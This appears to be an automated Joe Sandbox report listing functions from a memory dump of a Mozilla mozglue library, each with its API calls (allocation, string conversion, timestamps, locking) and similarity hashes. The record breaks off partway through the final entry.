Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: c9c19f8317b63de8a432c0decb5fac46237ee7ee2cb933ab09ab777f9cbedae3
Instruction ID: 533e8d9803087939bc2526eac48b1bfabe1b8817d918987e6fb7946b35f90583
Opcode Fuzzy Hash: c9c19f8317b63de8a432c0decb5fac46237ee7ee2cb933ab09ab777f9cbedae3
Instruction Fuzzy Hash: F641A277B702168FDB18CEBC8C9576E76A1EF49710F240139E929E73A4D7B5AC048B90

Function 6BF24DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6BF24E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6BF24E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6BF24EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6BF24F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6BF24F1E

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: 3c73a3e506ae2d73a939d5308798f53375a483113e45c14cdf414db96325c04b
Instruction ID: b2fdc21be647567dea3c3945c4071eb2dd1f6dd26e4da04c72e03dcf82259b77
Opcode Fuzzy Hash: 3c73a3e506ae2d73a939d5308798f53375a483113e45c14cdf414db96325c04b
Instruction Fuzzy Hash: 0B419073608B069FD704CFA8C48095BB7E4BF89350F108A1DFA6997261D7B8E954CB91

Function 6BF6D210 Relevance: 7.6, APIs: 5, Instructions: 115stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,6BF35820,?), ref: 6BF6D21F
moz_xmalloc.MOZGLUE(00000001,?,?,6BF35820,?), ref: 6BF6D22E

Part of subcall function 6BF3CA10: malloc.MOZGLUE(?), ref: 6BF3CA26

memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,6BF35820,?), ref: 6BF6D242
free.MOZGLUE(00000000,?,?,?,?,?,?,6BF35820,?), ref: 6BF6D253

Part of subcall function 6BF45E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6BF45EDB
Part of subcall function 6BF45E90: memset.VCRUNTIME140(6BF87765,000000E5,55CCCCCC), ref: 6BF45F27
Part of subcall function 6BF45E90: LeaveCriticalSection.KERNEL32(?), ref: 6BF45FB2

memcpy.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,6BF35820,?), ref: 6BF6D280

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: CriticalSectionmemset$EnterLeavefreemallocmemcpymoz_xmallocstrlen
String ID:
API String ID: 2029485308-0
Opcode ID: 44cc9ce7a3334a2451735c8e8830ddf8f132f00037f29b291861224de391cca3
Instruction ID: a7a7ba56f1172d35271e5a02e8089452e218b6a3e78a4751595c05b1a41b8a05
Opcode Fuzzy Hash: 44cc9ce7a3334a2451735c8e8830ddf8f132f00037f29b291861224de391cca3
Instruction Fuzzy Hash: 3A31D8BB9402159BDB00CF68C881B6EBB75AF8A744F344069DD54AB315E376E812C7E1

Function 6BF3C150 Relevance: 7.6, APIs: 5, Instructions: 110stringtimeCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6BF3C1BC
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6BF3C1DC

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: Now@Stamp@mozilla@@TimeV12@_strlen
String ID:
API String ID: 1885715127-0
Opcode ID: a4914a2b5b7ead6e970103330f3e0d69a5e84ac65047c887b15fe4f05c20b4c0
Instruction ID: 941d396b3e18275bba9335e8f0e64e388aadb6f66274d13b5d3311735a30b9ec
Opcode Fuzzy Hash: a4914a2b5b7ead6e970103330f3e0d69a5e84ac65047c887b15fe4f05c20b4c0
Instruction Fuzzy Hash: 2741E2B2D18360CFD710DF28D58174ABBE4BF86704F41895EE8889B222E774D558CBD2

Function 6BF8A820 Relevance: 7.6, APIs: 5, Instructions: 106stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6BFAF770), ref: 6BF8A858
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6BF8A87B

Part of subcall function 6BF8A9D0: memcpy.VCRUNTIME140(?,?,00000400,?,?,?,6BF8A88F,00000000), ref: 6BF8A9F1

_ltoa_s.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,00000020,0000000A), ref: 6BF8A8FF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6BF8A90C
LeaveCriticalSection.KERNEL32(6BFAF770), ref: 6BF8A97E

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: CriticalSectionstrlen$EnterLeave_ltoa_smemcpy
String ID:
API String ID: 1355178011-0
Opcode ID: b8760d4a76e4e1530cd36b3c0bbd3c3201adb33c83d8d4893e77ace6612ef21a
Instruction ID: d7df530af8f8acc38c54bb14d9e9993b0f474df2eb7c413ee2c149fe7647ed0f
Opcode Fuzzy Hash: b8760d4a76e4e1530cd36b3c0bbd3c3201adb33c83d8d4893e77ace6612ef21a
Instruction Fuzzy Hash: AA41A4B2D00209CFDB04DFA4D845B9EB7B1FF05324F108619E826AB3E1D739A945CB91

Function 6BF31530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6BF3152B,?,?,?,?,6BF31248,?), ref: 6BF3159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6BF3152B,?,?,?,?,6BF31248,?), ref: 6BF315BC
moz_xmalloc.MOZGLUE(-00000001,?,6BF3152B,?,?,?,?,6BF31248,?), ref: 6BF315E7
free.MOZGLUE(?,?,?,?,?,?,6BF3152B,?,?,?,?,6BF31248,?), ref: 6BF31606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6BF3152B,?,?,?,?,6BF31248,?), ref: 6BF31637

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 7b8cbe036527d5379dcb72538cf2c116c11b47a6b3bba0fb1ace0a5a5f7d4308
Instruction ID: 028e92244c5c80a681585f5189c8c504efd5f4089cbc8df3f035ccc33b845fd1
Opcode Fuzzy Hash: 7b8cbe036527d5379dcb72538cf2c116c11b47a6b3bba0fb1ace0a5a5f7d4308
Instruction Fuzzy Hash: 8F31E573A001358BDB188FB8D85186E77A9BE852647240B6DE823DB3F4FB34DA4187D1

Function 6BF24310 Relevance: 7.6, APIs: 5, Instructions: 96COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000010,?,6BF242D2), ref: 6BF2436A

Part of subcall function 6BF3CA10: malloc.MOZGLUE(?), ref: 6BF3CA26

memcpy.VCRUNTIME140(00000023,?,?,?,?,6BF242D2), ref: 6BF24387
moz_xmalloc.MOZGLUE(80000023,?,6BF242D2), ref: 6BF243B7
free.MOZGLUE(00000000,?,6BF242D2), ref: 6BF243EF
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,6BF242D2), ref: 6BF24406

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemallocmemcpy
String ID:
API String ID: 2563754823-0
Opcode ID: 0aeb03cc782bf5a7d364b661e4d0c19f640a3e39ad100f2e5e5293a04267ce9b
Instruction ID: d31a4f2153419658401b16e7e089250277f8582bb82fd5928c849cc66838ab32
Opcode Fuzzy Hash: 0aeb03cc782bf5a7d364b661e4d0c19f640a3e39ad100f2e5e5293a04267ce9b
Instruction Fuzzy Hash: 1A310973A001158FD714DEB9DC9056EB7A6EF40660B140A29EA55DB3E1E774ED2083A2

Function 6BF8AD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6BF9E330,?,6BF4C059), ref: 6BF8AD9D

Part of subcall function 6BF3CA10: malloc.MOZGLUE(?), ref: 6BF3CA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6BF9E330,?,6BF4C059), ref: 6BF8ADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6BF9E330,?,6BF4C059), ref: 6BF8AE01
GetLastError.KERNEL32(?,00000000,?,?,6BF9E330,?,6BF4C059), ref: 6BF8AE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6BF9E330,?,6BF4C059), ref: 6BF8AE3D

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: 92b4fff4ecc09eb3823bb1374c2a84d2109ee92cda8130ca263b59c0490289ef
Instruction ID: 1865a0f2eae529aec21b94fef8b2f795d29ca37170ab854ee6c89b9717cbe986
Opcode Fuzzy Hash: 92b4fff4ecc09eb3823bb1374c2a84d2109ee92cda8130ca263b59c0490289ef
Instruction Fuzzy Hash: A53144B39007159FDB14DF7A9C45A6BBBF8EF49610F15882DE94AD7260E738D804CBA0

Function 6BF80B90 Relevance: 7.6, APIs: 5, Instructions: 92timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6BF80BBC

Part of subcall function 6BF45C50: GetTickCount64.KERNEL32 ref: 6BF45D40
Part of subcall function 6BF45C50: EnterCriticalSection.KERNEL32(6BFAF688), ref: 6BF45D67

?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6BF80BCA
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6BF80BD5

Part of subcall function 6BF45C50: __aulldiv.LIBCMT ref: 6BF45DB4
Part of subcall function 6BF45C50: LeaveCriticalSection.KERNEL32(6BFAF688), ref: 6BF45DED

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6BF80BE2
?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6BF80C9A

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: Time$StampV01@@Value@mozilla@@$CriticalSection$BaseCount64Creation@DurationEnterLeavePlatformProcessSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@__aulldiv
String ID:
API String ID: 3168180809-0
Opcode ID: 997bf2a66841160820a59088f2fd9bae674442663884e53da033e5a95c2dccaf
Instruction ID: 4d08fb912fd5c505a164cd62801664c91f234c99b3632e88e743ef45b30bd4b1
Opcode Fuzzy Hash: 997bf2a66841160820a59088f2fd9bae674442663884e53da033e5a95c2dccaf
Instruction Fuzzy Hash: 1E31F372A147158AC714DF38C89051BB7E8AF82760F514B1EF8A9A32E1EB74D8458B92

Function 6BF85EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6BF9DCA0,?,?,?,6BF5E8B5,00000000), ref: 6BF85F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6BF5E8B5,00000000), ref: 6BF85F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6BF5E8B5,00000000), ref: 6BF85F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6BF5E8B5,00000000), ref: 6BF85F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6BF5E8B5,00000000), ref: 6BF85FD6

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: 0cbe15ae294cf9606e8a109cbc71aca1b857281988a0e5fe9eacdd52d36caec8
Instruction ID: 44f88ad17ac010d8e0f0b9eb16f4c8ce6be34161433ed25250ea0f10bd0d2af1
Opcode Fuzzy Hash: 0cbe15ae294cf9606e8a109cbc71aca1b857281988a0e5fe9eacdd52d36caec8
Instruction Fuzzy Hash: 7A3138353106048FD714CF29C898E2ABBFAFF89314B548958EA568B3A6C735EC45CB80

Function 6BF2B4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6BF2B532
moz_xmalloc.MOZGLUE(?), ref: 6BF2B55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6BF2B56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6BF2B57E
free.MOZGLUE(00000000), ref: 6BF2B58F

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: 7c08fb71454cc6d1003c0b48ce7bf9fbbfabbf8b3d2f145cafb03ff30e64c256
Instruction ID: d11a90f9e5e5c2b9537e8dc80abab3790b6ae7e8b032b47381bd3823d4c73daf
Opcode Fuzzy Hash: 7c08fb71454cc6d1003c0b48ce7bf9fbbfabbf8b3d2f145cafb03ff30e64c256
Instruction Fuzzy Hash: 6E2107729002059BDB008FA8CC41B6EBBB9FF41304F144469EE18DB366E779D955C7A0

Function 6BF2B7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6BF2B7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6BF2B808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6BF2B82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6BF2B840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6BF2B849

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: 4f976c3d3bf481a31b2e60e97d69c82604e84fe994686c0983ee943f94ab4830
Instruction ID: db947726aacaa4c3e1825fe60ea96779e4c94cb0a47c50d1b120f40cd5153946
Opcode Fuzzy Hash: 4f976c3d3bf481a31b2e60e97d69c82604e84fe994686c0983ee943f94ab4830
Instruction Fuzzy Hash: A5215AB2D002099FDF04CFA9D8856FFBBB4EF49214F148469EC0AA7351E735A944CBA0

Function 6BF36390 Relevance: 7.6, APIs: 5, Instructions: 72threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6BF363D0
AcquireSRWLockExclusive.KERNEL32 ref: 6BF363DF
ReleaseSRWLockExclusive.KERNEL32 ref: 6BF3640E
__Init_thread_footer.LIBCMT ref: 6BF36467
??$AddMarkerToBuffer@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@AAVProfileChunkedBuffer@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6BF364A8

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: Marker$D@std@@ExclusiveLockProfileTextU?$char_traits@V?$allocator@V?$basic_string@$AcquireBlockBufferBuffer@Buffer@1@Category@1@$$ChunkedCurrentD@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@Index@1@Init_thread_footerMarker@markers@01@Marker@markers@baseprofiler@mozilla@@Options@1@ProfilerReleaseStringThreadView@
String ID:
API String ID: 3202982786-0
Opcode ID: eaee05ae28c8225b4f19117395a1b3fafc3b1c4b034c031c38fa9de0f62cf4de
Instruction ID: afc93b20a5befb9838abf5d887df1e60b7af9efb1a3ab436ead3498353498bdc
Opcode Fuzzy Hash: eaee05ae28c8225b4f19117395a1b3fafc3b1c4b034c031c38fa9de0f62cf4de
Instruction Fuzzy Hash: DE3189B2418245DFCB84DF68D08575EBBF4FB86318F11846EE8958B361C7389498CBA3

Function 6BF86E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6BF86E78

Part of subcall function 6BF86A10: InitializeCriticalSection.KERNEL32(6BFAF618), ref: 6BF86A68
Part of subcall function 6BF86A10: GetCurrentProcess.KERNEL32 ref: 6BF86A7D
Part of subcall function 6BF86A10: GetCurrentProcess.KERNEL32 ref: 6BF86AA1
Part of subcall function 6BF86A10: EnterCriticalSection.KERNEL32(6BFAF618), ref: 6BF86AAE
Part of subcall function 6BF86A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6BF86AE1
Part of subcall function 6BF86A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6BF86B15
Part of subcall function 6BF86A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6BF86B65
Part of subcall function 6BF86A10: LeaveCriticalSection.KERNEL32(6BFAF618,?,?), ref: 6BF86B83

MozFormatCodeAddress.MOZGLUE ref: 6BF86EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6BF86EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6BF86EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6BF86EFF

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: 6398cd63f4fa292897dd7941841883fa95f157a23c02bbbaec71f0790a3091cc
Instruction ID: 95feaa4af61fb3075b88a8eaf7d4a5f711a9860f43e4fc5b1f44d7a7961d4a05
Opcode Fuzzy Hash: 6398cd63f4fa292897dd7941841883fa95f157a23c02bbbaec71f0790a3091cc
Instruction Fuzzy Hash: 4121A17290421A9FDB04CF69D885A9EB7F5FF88308F044479F80997251EB749A588F92

Function 6BF876C0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6BF876F2
moz_xmalloc.MOZGLUE(00000001), ref: 6BF87705

Part of subcall function 6BF3CA10: malloc.MOZGLUE(?), ref: 6BF3CA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6BF87717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6BF8778F,00000000,00000000,00000000,00000000), ref: 6BF87731
free.MOZGLUE(00000000), ref: 6BF87760

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 2538299546-0
Opcode ID: 4e8a3b5cb19cf7e614f3952dfc5ae5c5a95f01e225144e72b7a958fc3c99ceb8
Instruction ID: 4a8c0c40d8978da258c9511484abea54491fd6de3d81033e893b2c3479340a66
